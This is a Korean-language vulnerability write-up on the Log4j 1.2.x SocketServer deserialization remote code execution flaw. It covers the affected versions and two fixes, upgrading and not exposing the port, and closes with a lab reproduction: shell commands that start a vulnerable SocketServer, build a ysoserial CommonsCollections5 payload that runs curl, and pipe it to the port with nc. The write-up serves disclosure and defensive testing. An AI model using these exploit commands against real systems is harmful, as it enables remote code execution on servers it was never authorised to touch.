
Apache Log4j 1.2.X에 역직렬화 원격 코드 실행 취약점이 존재합니다.
취약점 경보 참조 링크: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j는 미국 아파치(Apache) 소프트웨어 재단이 개발한 Java 기반의 오픈소스 로그 기록 도구입니다. Apache Log4j 1.2.X 시리즈 버전에는 역직렬화 원격 코드 실행 취약점이 존재합니다. 공격자는 이 취약점을 이용해 임의의 악성 명령을 실행할 수 있습니다. Log4j 1.2.X에는 SocketServer 클래스가 포함되어 있으며, 이 클래스는 신뢰할 수 없는 데이터를 쉽게 역직렬화합니다. 로그 데이터가 포함된 신뢰할 수 없는 네트워크 트래픽을 청취할 때 역직렬화 가젯과 결합하면 이 클래스를 이용해 원격으로 임의 코드를 실행할 수 있습니다. 영향 범위에는 현재 최신 버전이 포함됩니다.
높음
영향 범위 1.2.4 <= Apache Log4j <= 1.2.17(최신 버전)
수정 권장사항
Apache Log4j 2 시리즈 최신 버전으로 업그레이드
해당 클래스가 개방한 socket 포트를 인터넷에 노출하지 않도록 금지
Apache Log4j 2.8.1 시대에도 역직렬화 원격 코드 실행 취약점(CVE-2017-5645)이 존재했습니다. 당시 트리거된 취약점 클래스는 org.apache.logging.log4j.core.net.server.TcpSocketServer였으며, Apache Log4j 1.2.X 시대에 이르러 취약점 클래스는 org.apache.log4j.net.SocketServer로 변경되었습니다.
밤에 검색해 보니 log4j 1.X의 socketserver를 시작하는 방법은 java 코드가 아닌 java 명령어를 통한 것임을 발견했습니다. (다른 시작 방법이 있다면 알려주시기 바랍니다.)
마찬가지로, 영향을 받는 jar 패키지와 코드 실행이 가능한 jar 패키지를 다운로드하여 환경 변수에 설정해야 합니다(다음은 Windows 환경 기준). 서비스를 시작할 때 3개의 인자, 즉 포트, log4j 설정 파일, lcf 디렉터리를 전달합니다:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
관련 jar 패키지 획득: https://github.com/shadow-horse/Vulenvironment/libs